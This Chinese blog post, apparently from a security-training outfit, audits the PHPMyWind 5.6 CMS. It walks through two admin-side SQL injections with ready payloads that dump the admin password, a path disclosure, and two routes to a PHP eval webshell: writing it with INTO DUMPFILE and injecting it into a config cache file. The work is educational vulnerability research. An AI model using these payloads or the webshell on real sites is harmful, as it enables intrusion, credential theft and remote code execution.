PHPMyWind 注入+GetShell 代码审计

admin 2022年12月10日20:14:19评论161 views字数 5855阅读19分31秒阅读模式

零基础黑客教程,黑客圈新闻,安全面试经验

尽在 # 掌控安全EDU #


1

前言 

大家好,我是掌控安全学院的聂风老师

今天写一篇代码审计的文章,分享给同学们学习

这次我们挑选PHPMyWind进行审计,PHPMyWind是一个老牌CMS,从2010年开发至今,有15万以上的下载使用量,其安全性也在不断的提高。

好了,大家开始跟着我的思路学习吧。


2

环境搭建 


学习漏洞第一件事就是复现环境:

Phpstudy

PHPMyWind 5.6(http://phpmywind.com/downloads/PHPMyWind_5.6.zip)

代码审计工具(这里拿Seay做演示)


3

在审计之前 

这个CMS比较老牌,所以我们可以先去查看该CMS的历史漏洞

PHPMyWind 注入+GetShell 代码审计


通过历史漏洞,大致了解CMS的薄弱点,开发人员的思维逻辑等等。


4

审计过程 

首先查看index.php文件,开头第一行直接包含了/include/config.inc.php文件,而这个文件又包含了其他好几个文件。

在这些被包含的文件中,我们着重看一下common.inc.php。

common.inc.php定义了一个有魔术引号作用的函数_RunMagicQuotes

再看下面45-58行,一个明显的$$,变量覆盖漏洞,实际上这里是一个方便开发的机制,可以使传参转为变量使用,例如我传参a=123。

那么经过这个处理就变为了$a = 123

PHPMyWind 注入+GetShell 代码审计

这里记住,我们可以定义变量了。

我通过全局搜索查询了下,调用这个文件都是文件的开头为主,然后这个文件中被调用的参数大部分都会先初始化参数,然后处理再进行调用。

PHPMyWind 注入+GetShell 代码审计


然后代码又包含了三个文件

PHPMyWind 注入+GetShell 代码审计

看开发贴心的注释,这是一个全局配置文件,要是变量覆盖这个在包含common.func.php下面就可以飞起了

这三个文件可以先不看,一个是常用函数,一个是各种配置变量定义,还有一个就是连接数据库的文件。之后就是设置了一些路径之类的变量


然后我们还是回来看index.php,整页就没什么有用的地方了。各种输出都是读取了数据库里面的数据然后输出。然后还包含了两个文件,header.php、footer.php,读取这几个PHP后再去按照功能和模块去读取每个文件就行了。

那么根据我们的信息收集,我们知道了这款CMS,他以前爆过的SQL注入就是因为没用初始化变量SQL,只要想办法跳过这个变量SQL的赋值,就能造成直接传参SQL语句直接执行造成SQL注入。

PHPMyWind 注入+GetShell 代码审计

那么我们根据这个思想去找漏洞就很简单,找没有初始化过的传参。

 

5

SQL注入 一 

打开admin目录下面的info_update.php文件

PHPMyWind 注入+GetShell 代码审计

我们发现第55行有一个变量id,这个地方如果我们能够控制变量id,那么我们可能就可以对这个CMS进行SQL注入,并且这个变量id都没有被单双引号包裹,那么如果存在注入,我们都不需要去考虑魔术引号带来的烦恼。


然后这个文件的第57-59行,就是没有初始化这个$id,而且$id的执行语句在初始化之前,算是被我捡到一只漏网之鱼了。

PHPMyWind 注入+GetShell 代码审计

但是我这个info_update.php并没有初始化参数,那么我们就可以控制$id的值,那么我们就可以进行SQL注入了。我们再来追踪一下GetOne函数究竟干了什么?

看到include目录下面的mysqli.class.php文件的第262-294行

PHPMyWind 注入+GetShell 代码审计


SetQuery函数是替换表名的前缀,然后Execute才是真的执行语句函数,然后们追踪这个函数,他的定义在mysql.class.php这个文件的第165-191行

PHPMyWind 注入+GetShell 代码审计


很明显这的第191行是执行,但是这里很明显要过一个CheckSql的检测。

这个函数在这个文件的522行被定义。

PHPMyWind 注入+GetShell 代码审计


这个很明显是80sec的过滤。那么我们可以直接使用语句绕过,毕竟这个过滤也很老了,虽然这里有改动,因为过滤问题这里的SQLmap无法跑出Sql注入,百度下找到一个绕过的80sec语句妥妥的就绕过了。

注入的数据包

GET /admin/info_update.php?id=1 HTTP/1.1

Host: 192.168.32.136

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=7s67quel3o522u240qquhlpo32

Connection: close

然后构建的语句是:

AND id in (char(@`'`), extractvalue(1, concat_ws(0x20, 0x5c,(select password from pmw_admin limit 0,1))),char(@`'`))


直接拼接在id传参的后面,可以通过报错注入显示超管的密码。

如果要账号就改子查询里面的语句

PHPMyWind 注入+GetShell 代码审计

PHPMyWind 注入+GetShell 代码审计

通过这个方法,我发现了这个CMS在书写的时候,很多功能差不多的模块核心代码不会变。这里指出的这个SQL注入代码属于核心代码。只要后台文件名为

***_update.php都存在这个问题。涉及的文件特别多。好多文件都中招


6

SQL注入 二 

后面发现的这个SQL注入也是和这个差不多,也属于可以好多文件中招

我们先进行代码分析吧,打开admin目录下面的soft_save.php文件

PHPMyWind 注入+GetShell 代码审计

我们发现第22行有一个函数,我们来看看这个函数干了什么~

这个函数的定义在admin_func.php这个文件的第1315-1417行。

PHPMyWind 注入+GetShell 代码审计

这里定义的这个函数,第一个传参是cid,然后因为我的登陆的账号并不是超管,所以执行了第43行的语句,很明显,这个函数直接将cid拼凑进了SQL语句,


这个地方如果我们能够控制变量cid,那么我们可能就可以对这个CMS进行SQL注入,并且这个变量cid都没有被单双引号包裹;如果存在注入,我们都不需要去考虑魔术引号带来的烦恼,而这个$cid是由函数调用时的传参,那么就是soft_save.php第22行的变量classid。


然而很明显这个$classid没用进行初始化,并且在第二次初始化前就先执行了!

然后拿出我写的第一个SQL注入语句轻松拿下。

PHPMyWind 注入+GetShell 代码审计

我来说下怎么注入吧,访问后台的软件下载管理

PHPMyWind 注入+GetShell 代码审计

然后点击右下角的添加软件信息

PHPMyWind 注入+GetShell 代码审计

然后将带*号的栏目填上数据,因为有前端检测。

PHPMyWind 注入+GetShell 代码审计

然后添加,抓包就行,然后将我语句的Payload 加在classid传参就行

AND model in (char(@`'`), extractvalue(1, concat_ws(0x20, 0x5c,(select password from phpmywind_db.pmw_admin limit 0,1))),char(@`'`))

可以直接通过报错注入显示超管的密码。如果要账号就改子查询里面的语句

PHPMyWind 注入+GetShell 代码审计

然后我们会发现这里实际上是调用了IsCategoryPriv函数传参所没有初始化并且拼接进的SQL语句没用使用引号包含造成的SQL注入。使用了这个函数,然后传参没用初始化的文件也有好多。

 

7

GetShell 1 

后台SQL注入似乎危害不够,进了后台不应该是想着Getshell吗?

那我们来看看我找到的Getshell方法。

Getshell 一(通过into_dumpfile):

admin/database_backup.php这个文件的第43行出现的一个switch,于是乎action传参决定执行哪个功能。

第238行-269行

PHPMyWind 注入+GetShell 代码审计

这里只拦截了删除语句,以及去除反斜杠还有去空格,没有拦截其他的语句,那么我们再去Execute这个函数看看,这个函数在include/mysqli.class.php的166行被定义

PHPMyWind 注入+GetShell 代码审计


这里有一个安全性检测我们去看下,这个函数还是在这个文件被定义,在523行到结束,这里代码有点长,我就贴核心的一块吧。

PHPMyWind 注入+GetShell 代码审计


他过滤了一些常用的黑客函数,比如Union,sleep,benchmark,load_file,into outfile,但是他过滤还是有疏忽,他想到了过滤into outfile,但是没有过滤into dumpfile

所以只要我们使用into dumpfile就可以直接getshell写入一个webshell,但是写文件有个很大的问题就是需要知道他的绝对路径,那么绝对路径我们该怎么办呢?

我们可以看到4g.php这个文件,4g.php的第41行只要我们传参m=show

就会调用templates/default/mobile/show.php

PHPMyWind 注入+GetShell 代码审计


我们来看看这个文件的第24-49行。

PHPMyWind 注入+GetShell 代码审计

很明显这里24行是通过

SELECT * FROM `#@__infoclass` WHERE id = $cid AND checkinfo = ‘true’ ORDER BY orderid ASC

去获取$row

我们传参cid他就会去读取

pmw_infoclasee表里面的内容,然后当cid=4的时候,因为49行要输出$row[‘title’]但是获取的参数中没有这个数据,于是乎就抛出了报错。

PHPMyWind 注入+GetShell 代码审计

那么我们就获取了绝对路径,我这个的绝对路径是C:phpstudyWWW


所以我们只要访问http://192.168.32.141//4g.php?m=show&&cid=4,就可以获得绝对路径,然后后台导出吧,为了防止过滤问题,我把导出的一句话写成了16进制。

一句话:<?php @eval($_REQUEST[a]);?>

16进制后:3c3f70687020406576616c28245f524551554553545b615d293b3f3e

于是乎导出语句就是:

select 0x3c3f70687020406576616c28245f524551554553545b615d293b3f3e into dumpfile ‘C:/phpstudy/WWW/shell.php’

直接访问后台页面,然后选择数据库的执行SQL语句就行

PHPMyWind 注入+GetShell 代码审计


点击执行就行了。成功执行

PHPMyWind 注入+GetShell 代码审计


然后成功导出一句话木马,拿到了webshell

PHPMyWind 注入+GetShell 代码审计

PHPMyWind 注入+GetShell 代码审计

PHPMyWind 注入+GetShell 代码审计


8

Getshell 二(修改数据库内容) 

查看后台的site_save.php文件。我们看13行-56行这个分支代码,第56行有一个函数我们来看看是什么作用。

PHPMyWind 注入+GetShell 代码审计


这个函数在这个文件的第131行-163行定义。

PHPMyWind 注入+GetShell 代码审计

实际上就是读取数据库里面的#@__webconfig`表的数据,然后进行遍历,然后拼接进$str这个遍历,然后执行Writef这个函数。

我先解下#@__webconfig`是什么表,际上#@__ 是代替前缀的,当处理的时候就会按照我安装的时候设定的前缀进行替换,我使用的是默认设置pmw作为表前缀,那么这里读取pmw_webconfig的内容,里面有两个if语句,其实看这个$str的阵势都能看出来这里是要写入配置到config.cache.php。


我们先来看这个函数里面的两个if,第一个if他的作用就是判断数据表里面的字段varname如果读出来是cfg_countcode的时候将那条数据的varvalue所对应的值删除反斜杠然后赋值给$row[‘varvalue’]


第二个if就是判断表的vartype字段查出来是不是number,如果不是的话执行

$str .= "${$row['varname']} = '".str_replace("'",'',$row['varvalue'])."';rn”

$row[‘varname’] 这个值是我们表里面查到的字段varname的值

$row[‘varvalue’] 这个值是我们表里面查到的字段varvalue的值


然后str_repalce是替换单引号,怕我使用单引号来跳出这个赋值,然后进行Getshell

那么如果$row[‘varname’]=a

$row['varvalue']=b

这个变量str就变为了

<?php       if(!defined('IN_PHPMYWIND')) exit('Request Error!');

$a = 'b';

?>


这里很明显有防范我单引号跳出来造成getshell,我们我们想一下,如果我们能够控制$row[‘varname’]这个值是不是就可以代码执行了,比如这个值为

$row['varname']=a;eval($_REQUEST[a]);//


那么执行就变为了

$a;eval($_REQUEST[a]);//= 'b';


很明显有一句话木马,然后注释了后面,语法也没用问题。那么核心就是两个,第一个是控制这个$row[‘varname’],控制这个字段很明显就是修改数据库里面的内容呗。后台功能里面就提供了一个更新数据库的功能,我只需要执行

update pmw_webconfig set varname = 'a;eval($_REQUEST[a])//' where orderid=97

PHPMyWind 注入+GetShell 代码审计

PHPMyWind 注入+GetShell 代码审计


成功执行,然后我们看看数据库里面

PHPMyWind 注入+GetShell 代码审计


当然我这样看是偷懒了,用后台自带的数据库执行也是可以查看的。

那么我们通过这个方法已经修改掉了varname,那么如果$str真的是写入文件的话我们的

webshell就到手了。

那我们再看看Writef函数是干什么的,这个函数在common.func.php的第364-389行被定义。

PHPMyWind 注入+GetShell 代码审计

很明显,判断如果函数传参$file的目录存在可写就写入,写入的东西就是函数传参的$str。

那么函数传参的$str不就是前面我们拼凑出来的变量str。

所以这里就是写入文件到config.cache.php文件。

万事俱备了,我们改了数据库内容能让恶意语句拼接进去了。那么我们只要触发就行。具体操作也很简单,我们在站点配置管理随便加一个新站点。

PHPMyWind 注入+GetShell 代码审计

PHPMyWind 注入+GetShell 代码审计

随便写就行,然后提交,我们的一句话就被插进去了。

PHPMyWind 注入+GetShell 代码审计

然后我们只要传参a就行

PHPMyWind 注入+GetShell 代码审计

成功Getshell

 

9

总结 

审计一下,问题就很多。还有更多问题没有深究,希望新同学能加油,多学习思维,动手去做。



原文始发于微信公众号(白帽子左一):PHPMyWind 注入+GetShell 代码审计

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月10日20:14:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHPMyWind 注入+GetShell 代码审计http://cn-sec.com/archives/957180.html

发表评论

匿名网友 填写信息